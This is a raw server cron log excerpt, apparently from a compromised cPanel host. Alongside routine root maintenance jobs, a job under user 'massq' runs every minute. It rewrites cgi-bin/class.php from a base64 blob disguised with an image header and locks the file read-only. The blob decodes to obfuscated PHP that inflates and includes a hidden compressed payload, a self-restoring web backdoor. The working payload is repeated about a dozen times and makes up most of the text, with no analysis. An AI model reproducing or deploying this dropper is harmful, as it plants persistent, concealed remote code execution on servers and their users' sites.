Nov 10 02:27:01 server CROND[4702]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:28:01 server CROND[5517]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:29:01 server CROND[6433]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:30:01 server CROND[7243]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 02:30:01 server CROND[7244]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 02:30:01 server CROND[7245]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 02:30:01 server CROND[7246]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:31:01 server CROND[8019]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:32:01 server CROND[8437]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:33:01 server CROND[9289]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:34:01 server CROND[9966]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:35:01 server CROND[10784]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 02:35:01 server CROND[10785]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 02:35:01 server CROND[10787]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 10 02:35:01 server CROND[10786]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 02:35:01 server CROND[10788]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:36:01 server CROND[11719]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:37:01 server CROND[12583]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:38:01 server CROND[13399]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:39:01 server CROND[14294]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 02:39:01 server CROND[14295]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:40:01 server CROND[15104]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 02:40:01 server CROND[15108]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 02:40:01 server CROND[15109]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
